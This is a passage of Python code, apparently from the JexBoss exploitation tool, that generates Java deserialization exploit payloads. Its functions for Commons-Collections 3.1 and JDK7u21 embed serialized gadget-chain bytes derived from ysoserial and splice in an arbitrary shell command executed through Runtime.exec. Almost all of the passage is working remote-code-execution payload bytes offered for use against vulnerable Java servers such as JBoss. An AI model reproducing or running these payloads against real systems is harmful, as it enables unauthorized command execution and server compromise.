\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\
\x65\x72\x3B\x01\x00\x0A\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\
\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\
\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\
\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\
\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\
\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\
\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\x65\x72\
\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\x56\x01\x00\x08\x69\
\x74\x65\x72\x61\x74\x6F\x72\x01\x00\x35\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\
\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\x6D\x2F\x44\
\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x01\x00\x07\x68\x61\x6E\x64\x6C\x65\
\x72\x01\x00\x41\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\
\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\
\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\
\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\
\x61\x0C\x00\x0A\x00\x0B\x07\x00\x28\x01\x00\x33\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\
\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\
\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x40\x63\x6F\x6D\x2F\x73\x75\
\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\
\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x41\x62\x73\x74\x72\x61\
\x63\x74\x54\x72\x61\x6E\x73\x6C\x65\x74\x01\x00\x14\x6A\x61\x76\x61\x2F\x69\x6F\x2F\x53\x65\x72\
\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x39\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\
\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\
\x6C\x74\x63\x2F\x54\x72\x61\x6E\x73\x6C\x65\x74\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x01\x00\x1F\
\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\
\x47\x61\x64\x67\x65\x74\x73\x01\x00\x08\x3C\x63\x6C\x69\x6E\x69\x74\x3E\x01\x00\x11\x6A\x61\x76\
\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\x6E\x74\x69\x6D\x65\x07\x00\x2A\x01\x00\x0A\x67\x65\x74\x52\
\x75\x6E\x74\x69\x6D\x65\x01\x00\x15\x28\x29\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x52\x75\
\x6E\x74\x69\x6D\x65\x3B\x0C\x00\x2C\x00\x2D\x0A\x00\x2B\x00\x2E\x01\x00")
    # if running in python 3
    if version_info[0] >= 3:
        payload_commons_collection += (bytes(chr(len(cmd)), 'utf-8'))
        payload_commons_collection += (bytes(cmd, 'utf-8'))
    else:
        payload_commons_collection += (chr(len(cmd)))
        payload_commons_collection += (cmd)

    payload_commons_collection += (b"\x08\x00\x30\x01\x00\x04\x65\x78\x65\x63\x01\x00\x27\x28\
\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x29\x4C\x6A\x61\x76\x61\
\x2F\x6C\x61\x6E\x67\x2F\x50\x72\x6F\x63\x65\x73\x73\x3B\x0C\x00\x32\x00\x33\x0A\x00\x2B\x00\x34\
\x01\x00\x1E\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\x77\x6E\x65\x72\x31\x31\x35\x36\x36\x35\
\x39\x33\x37\x38\x38\x36\x33\x30\x39\x01\x00\x20\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x50\
\x77\x6E\x65\x72\x31\x31\x35\x36\x36\x35\x39\x33\x37\x38\x38\x36\x33\x30\x39\x3B\x00\x21\x00\x02\
\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\x07\x00\x00\x00\x02\x00\x08\
\x00\x04\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\x01\x00\x01\x00\x00\x00\x05\
\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x2E\x00\x0E\x00\
\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x37\x00\x00\x00\x01\x00\x13\x00\x14\x00\x02\x00\
\x0C\x00\x00\x00\x3F\x00\x00\x00\x03\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\
\x00\x01\x00\x00\x00\x33\x00\x0E\x00\x00\x00\x20\x00\x03\x00\x00\x00\x01\x00\x0F\x00\x37\x00\x00\
\x00\x00\x00\x01\x00\x15\x00\x16\x00\x01\x00\x00\x00\x01\x00\x17\x00\x18\x00\x02\x00\x19\x00\x00\
\x00\x04\x00\x01\x00\x1A\x00\x01\x00\x13\x00\x1B\x00\x02\x00\x0C\x00\x00\x00\x49\x00\x00\x00\x04\
\x00\x00\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\x00\x00\x00\x37\x00\x0E\x00\
\x00\x00\x2A\x00\x04\x00\x00\x00\x01\x00\x0F\x00\x37\x00\x00\x00\x00\x00\x01\x00\x15\x00\x16\x00\
\x01\x00\x00\x00\x01\x00\x1C\x00\x1D\x00\x02\x00\x00\x00\x01\x00\x1E\x00\x1F\x00\x03\x00\x19\x00\
\x00\x00\x04\x00\x01\x00\x1A\x00\x08\x00\x29\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x1B\x00\x03\x00\
\x02\x00\x00\x00\x0F\xA7\x00\x03\x01\x4C\xB8\x00\x2F\x12\x31\xB6\x00\x35\x57\xB1\x00\x00\x00\x00\
\x00\x02\x00\x20\x00\x00\x00\x02\x00\x21\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x23\x00\x10\
\x00\x09\x75\x71\x00\x7E\x00\x1F\x00\x00\x01\xD4\xCA\xFE\xBA\xBE\x00\x00\x00\x31\x00\x1B\x0A\x00\
\x03\x00\x15\x07\x00\x17\x07\x00\x18\x07\x00\x19\x01\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\
\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\
\x6C\x75\x65\x05\x71\xE6\x69\xEE\x3C\x6D\x47\x18\x01\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\
\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\
\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\
\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x03\x46\x6F\x6F\x01\x00\x0C\x49\x6E\x6E\x65\x72\x43\x6C\
\x61\x73\x73\x65\x73\x01\x00\x25\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\
\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x3B\x01\x00\x0A\
\x53\x6F\x75\x72\x63\x65\x46\x69\x6C\x65\x01\x00\x0C\x47\x61\x64\x67\x65\x74\x73\x2E\x6A\x61\x76\
\x61\x0C\x00\x0A\x00\x0B\x07\x00\x1A\x01\x00\x23\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\
\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x46\x6F\x6F\x01\
\x00\x10\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x01\x00\x14\x6A\x61\x76\
\x61\x2F\x69\x6F\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x62\x6C\x65\x01\x00\x1F\x79\x73\x6F\x73\
\x65\x72\x69\x61\x6C\x2F\x70\x61\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\
\x65\x74\x73\x00\x21\x00\x02\x00\x03\x00\x01\x00\x04\x00\x01\x00\x1A\x00\x05\x00\x06\x00\x01\x00\
\x07\x00\x00\x00\x02\x00\x08\x00\x01\x00\x01\x00\x0A\x00\x0B\x00\x01\x00\x0C\x00\x00\x00\x2F\x00\
\x01\x00\x01\x00\x00\x00\x05\x2A\xB7\x00\x01\xB1\x00\x00\x00\x02\x00\x0D\x00\x00\x00\x06\x00\x01\
\x00\x00\x00\x3B\x00\x0E\x00\x00\x00\x0C\x00\x01\x00\x00\x00\x05\x00\x0F\x00\x12\x00\x00\x00\x02\
\x00\x13\x00\x00\x00\x02\x00\x14\x00\x11\x00\x00\x00\x0A\x00\x01\x00\x02\x00\x16\x00\x10\x00\x09\
\x70\x74\x00\x04\x50\x77\x6E\x72\x70\x77\x01\x00\x78\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\
\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x78\x70\
\x00\x00\x00\x01\x76\x72\x00\x1D\x6A\x61\x76\x61\x78\x2E\x78\x6D\x6C\x2E\x74\x72\x61\x6E\x73\x66\
\x6F\x72\x6D\x2E\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
\x78\x70\x77\x04\x00\x00\x00\x03\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\
\x74\x65\x67\x65\x72\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\
\x78\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\
\x0B\x94\xE0\x8B\x02\x00\x00\x78\x70\x00\x00\x00\x01\x71\x00\x7E\x00\x29\x78")

    return payload_commons_collection


def generate_commons_collections31_payload(cmd):
    # commons-collections 3.1
    payload_commons_collection = (
        b"\xAC\xED\x00\x05\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\
\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x02\x3F\x40\x00\
\x00\x00\x00\x00\x01\x73\x72\x00\x34\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\
\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6B\x65\x79\x76\x61\x6C\x75\x65\
\x2E\x54\x69\x65\x64\x4D\x61\x70\x45\x6E\x74\x72\x79\x8A\xAD\xD2\x9B\x39\xC1\x1F\xDB\x02\x00\x02\
\x4C\x00\x03\x6B\x65\x79\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\
\x63\x74\x3B\x4C\x00\x03\x6D\x61\x70\x74\x00\x0F\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\x2F\x4D\
\x61\x70\x3B\x78\x70\x74\x00\x26\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x69\x74\x68\x75\x62\x2E\x63\
\x6F\x6D\x2F\x6A\x6F\x61\x6F\x6D\x61\x74\x6F\x73\x66\x2F\x6A\x65\x78\x62\x6F\x73\x73\x20\x73\x72\
\x00\x2A\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\
\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x6D\x61\x70\x2E\x4C\x61\x7A\x79\x4D\x61\x70\x6E\xE5\x94\x82\
\x9E\x79\x10\x94\x03\x00\x01\x4C\x00\x07\x66\x61\x63\x74\x6F\x72\x79\x74\x00\x2C\x4C\x6F\x72\x67\
\x2F\x61\x70\x61\x63\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\
\x6F\x6E\x73\x2F\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x73\x72\x00\x3A\x6F\x72\
\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\
\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x43\x68\x61\x69\x6E\x65\x64\x54\x72\x61\
\x6E\x73\x66\x6F\x72\x6D\x65\x72\x30\xC7\x97\xEC\x28\x7A\x97\x04\x02\x00\x01\x5B\x00\x0D\x69\x54\
\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x73\x74\x00\x2D\x5B\x4C\x6F\x72\x67\x2F\x61\x70\x61\x63\
\x68\x65\x2F\x63\x6F\x6D\x6D\x6F\x6E\x73\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2F\x54\
\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\x78\x70\x75\x72\x00\x2D\x5B\x4C\x6F\x72\x67\x2E\x61\
\x70\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\
\x73\x2E\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x3B\xBD\x56\x2A\xF1\xD8\x34\x18\x99\x02\x00\
\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3B\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x63\x6F\
\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\x2E\x66\x75\x6E\x63\x74\x6F\
\x72\x73\x2E\x43\x6F\x6E\x73\x74\x61\x6E\x74\x54\x72\x61\x6E\x73\x66\x6F\x72\x6D\x65\x72\x58\x76\
\x90\x11\x41\x02\xB1\x94\x02\x00\x01\x4C\x00\x09\x69\x43\x6F\x6E\x73\x74\x61\x6E\x74\x71\x00\x7E\
\x00\x03\x78\x70\x76\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x52\x75\x6E\x74\x69\x6D\
\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3A\x6F\x72\x67\x2E\x61\x70\
\x61\x63\x68\x65\x2E\x63\x6F\x6D\x6D\x6F\x6E\x73\x2E\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x73\
\x2E\x66\x75\x6E\x63\x74\x6F\x72\x73\x2E\x49\x6E\x76\x6F\x6B\x65\x72\x54\x72\x61\x6E\x73\x66\x6F\
\x72\x6D\x65\x72\x87\xE8\xFF\x6B\x7B\x7C\xCE\x38\x02\x00\x03\x5B\x00\x05\x69\x41\x72\x67\x73\x74\
\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x4F\x62\x6A\x65\x63\x74\x3B\x4C\x00\x0B\
\x69\x4D\x65\x74\x68\x6F\x64\x4E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\
\x2F\x53\x74\x72\x69\x6E\x67\x3B\x5B\x00\x0B\x69\x50\x61\x72\x61\x6D\x54\x79\x70\x65\x73\x74\x00\
\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x78\x70\x75\x72\x00\
\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\x3B\x90\xCE\x58\x9F\
\x10\x73\x29\x6C\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0A\x67\x65\x74\x52\x75\x6E\x74\x69\
\x6D\x65\x75\x72\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x43\x6C\x61\x73\x73\x3B\
\xAB\x16\xD7\xAE\xCB\xCD\x5A\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4D\
\x65\x74\x68\x6F\x64\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\
\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\xA0\xF0\xA4\x38\x7A\x3B\xB3\x42\x02\x00\x00\x78\x70\
\x76\x71\x00\x7E\x00\x1B\x73\x71\x00\x7E\x00\x13\x75\x71\x00\x7E\x00\x18\x00\x00\x00\x02\x70\x75\
\x71\x00\x7E\x00\x18\x00\x00\x00\x00\x74\x00\x06\x69\x6E\x76\x6F\x6B\x65\x75\x71\x00\x7E\x00\x1B\
\x00\x00\x00\x02\x76\x72\x00\x10\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4F\x62\x6A\x65\x63\x74\
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00\x7E\x00\x18\x73\x71\x00\x7E\x00\
\x13\x75\x72\x00\x13\x5B\x4C\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x53\x74\x72\x69\x6E\x67\x3B\
\xAD\xD2\x56\xE7\xE9\x1D\x7B\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00")
    # if running in python 3
    if version_info[0] >= 3:
        payload_commons_collection += (bytes(chr(len(cmd)), 'utf-8'))
        payload_commons_collection += (bytes(cmd, 'utf-8'))
    else:
        payload_commons_collection += (chr(len(cmd)))
        payload_commons_collection += (cmd)

    payload_commons_collection += (
        b"\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7E\x00\x1B\x00\x00\x00\x01\x71\x00\x7E\x00\x20\x73\x71\x00\
\x7E\x00\x0F\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x49\x6E\x74\x65\x67\x65\x72\
\x12\xE2\xA0\xA4\xF7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6C\x75\x65\x78\x72\x00\x10\x6A\
\x61\x76\x61\x2E\x6C\x61\x6E\x67\x2E\x4E\x75\x6D\x62\x65\x72\x86\xAC\x95\x1D\x0B\x94\xE0\x8B\x02\
\x00\x00\x78\x70\x00\x00\x00\x01\x73\x72\x00\x11\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\
\x73\x68\x4D\x61\x70\x05\x07\xDA\xC1\xC3\x16\x60\xD1\x03\x00\x02\x46\x00\x0A\x6C\x6F\x61\x64\x46\
\x61\x63\x74\x6F\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6F\x6C\x64\x78\x70\x3F\x40\x00\x00\x00\
\x00\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x78")

    return payload_commons_collection


def generate_jdk7u21_payload(cmd):
    # improved from frohoff version
    payload = (b"\xAC\xED\x00\x05\x73\x72\x00\x17\x6A\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x4C\x69\x6E\x6B\x65\
\x64\x48\x61\x73\x68\x53\x65\x74\xD8\x6C\xD7\x5A\x95\xDD\x2A\x1E\x02\x00\x00\x78\x72\x00\x11\x6A\
\x61\x76\x61\x2E\x75\x74\x69\x6C\x2E\x48\x61\x73\x68\x53\x65\x74\xBA\x44\x85\x95\x96\xB8\xB7\x34\
\x03\x00\x00\x78\x70\x77\x0C\x00\x00\x00\x10\x3F\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x3A\x63\
\x6F\x6D\x2E\x73\x75\x6E\x2E\x6F\x72\x67\x2E\x61\x70\x61\x63\x68\x65\x2E\x78\x61\x6C\x61\x6E\x2E\
\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2E\x78\x73\x6C\x74\x63\x2E\x74\x72\x61\x78\x2E\x54\x65\x6D\x70\
\x6C\x61\x74\x65\x73\x49\x6D\x70\x6C\x09\x57\x4F\xC1\x6E\xAC\xAB\x33\x03\x00\x08\x49\x00\x0D\x5F\
\x69\x6E\x64\x65\x6E\x74\x4E\x75\x6D\x62\x65\x72\x49\x00\x0E\x5F\x74\x72\x61\x6E\x73\x6C\x65\x74\
\x49\x6E\x64\x65\x78\x5A\x00\x15\x5F\x75\x73\x65\x53\x65\x72\x76\x69\x63\x65\x73\x4D\x65\x63\x68\
\x61\x6E\x69\x73\x6D\x4C\x00\x0B\x5F\x61\x75\x78\x43\x6C\x61\x73\x73\x65\x73\x74\x00\x3B\x4C\x63\
\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\
\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x72\x75\x6E\x74\x69\x6D\x65\x2F\x48\
\x61\x73\x68\x74\x61\x62\x6C\x65\x3B\x5B\x00\x0A\x5F\x62\x79\x74\x65\x63\x6F\x64\x65\x73\x74\x00\
\x03\x5B\x5B\x42\x5B\x00\x06\x5F\x63\x6C\x61\x73\x73\x74\x00\x12\x5B\x4C\x6A\x61\x76\x61\x2F\x6C\
\x61\x6E\x67\x2F\x43\x6C\x61\x73\x73\x3B\x4C\x00\x05\x5F\x6E\x61\x6D\x65\x74\x00\x12\x4C\x6A\x61\
\x76\x61\x2F\x6C\x61\x6E\x67\x2F\x53\x74\x72\x69\x6E\x67\x3B\x4C\x00\x11\x5F\x6F\x75\x74\x70\x75\
\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x74\x00\x16\x4C\x6A\x61\x76\x61\x2F\x75\x74\x69\x6C\
\x2F\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x3B\x78\x70\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x70\
\x75\x72\x00\x03\x5B\x5B\x42\x4B\xFD\x19\x15\x67\x67\xDB\x37\x02\x00\x00\x78\x70\x00\x00\x00\x02\
\x75\x72\x00\x02\x5B\x42\xAC\xF3\x17\xF8\x06\x08\x54\xE0\x02\x00\x00\x78\x70\x00\x00\x06")
    if version_info[0] >= 3:
        payload += (bytes(chr(len(cmd)+131), 'utf-8'))
    else:
        payload += (chr(len(cmd)+131))
    payload += (b"\xCA\xFE\xBA\xBE\x00\x00\
\x00\x31\x00\x38\x0A\x00\x03\x00\x22\x07\x00\x36\x07\x00\x25\x07\x00\x26\x01\
\x00\x10\x73\x65\x72\x69\x61\x6C\x56\x65\x72\x73\x69\x6F\x6E\x55\x49\x44\x01\x00\x01\x4A\x01\x00\
\x0D\x43\x6F\x6E\x73\x74\x61\x6E\x74\x56\x61\x6C\x75\x65\x05\xAD\x20\x93\xF3\x91\xDD\xEF\x3E\x01\
\x00\x06\x3C\x69\x6E\x69\x74\x3E\x01\x00\x03\x28\x29\x56\x01\x00\x04\x43\x6F\x64\x65\x01\x00\x0F\
\x4C\x69\x6E\x65\x4E\x75\x6D\x62\x65\x72\x54\x61\x62\x6C\x65\x01\x00\x12\x4C\x6F\x63\x61\x6C\x56\
\x61\x72\x69\x61\x62\x6C\x65\x54\x61\x62\x6C\x65\x01\x00\x04\x74\x68\x69\x73\x01\x00\x13\x53\x74\
\x75\x62\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x01\x00\x0C\x49\x6E\x6E\x65\
\x72\x43\x6C\x61\x73\x73\x65\x73\x01\x00\x35\x4C\x79\x73\x6F\x73\x65\x72\x69\x61\x6C\x2F\x70\x61\
\x79\x6C\x6F\x61\x64\x73\x2F\x75\x74\x69\x6C\x2F\x47\x61\x64\x67\x65\x74\x73\x24\x53\x74\x75\x62\
\x54\x72\x61\x6E\x73\x6C\x65\x74\x50\x61\x79\x6C\x6F\x61\x64\x3B\x01\x00\x09\x74\x72\x61\x6E\x73\
\x66\x6F\x72\x6D\x01\x00\x72\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\
\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x78\x73\x6C\x74\x63\
\x2F\x44\x4F\x4D\x3B\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\
\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\
\x72\x2F\x53\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x29\
\x56\x01\x00\x08\x64\x6F\x63\x75\x6D\x65\x6E\x74\x01\x00\x2D\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\
\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\x61\
\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x01\x00\x08\x68\x61\x6E\x64\x6C\x65\x72\x73\x01\
\x00\x42\x5B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\
\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x73\x65\x72\x69\x61\x6C\x69\x7A\x65\x72\x2F\x53\
\x65\x72\x69\x61\x6C\x69\x7A\x61\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x3B\x01\x00\x0A\x45\
\x78\x63\x65\x70\x74\x69\x6F\x6E\x73\x07\x00\x27\x01\x00\xA6\x28\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\
\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x61\x6C\x61\x6E\x2F\x69\x6E\x74\x65\x72\x6E\
\x61\x6C\x2F\x78\x73\x6C\x74\x63\x2F\x44\x4F\x4D\x3B\x4C\x63\x6F\x6D\x2F\x73\x75\x6E\x2F\x6F\x72\
\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\x61\x6C\x2F\x64\x74\
\x6D\x2F\x44\x54\x4D\x41\x78\x69\x73\x49\x74\x65\x72\x61\x74\x6F\x72\x3B\x4C\x63\x6F\x6D\x2F\x73\
\x75\x6E\x2F\x6F\x72\x67\x2F\x61\x70\x61\x63\x68\x65\x2F\x78\x6D\x6C\x2F\x69\x6E\x74\x65\x72\x6E\
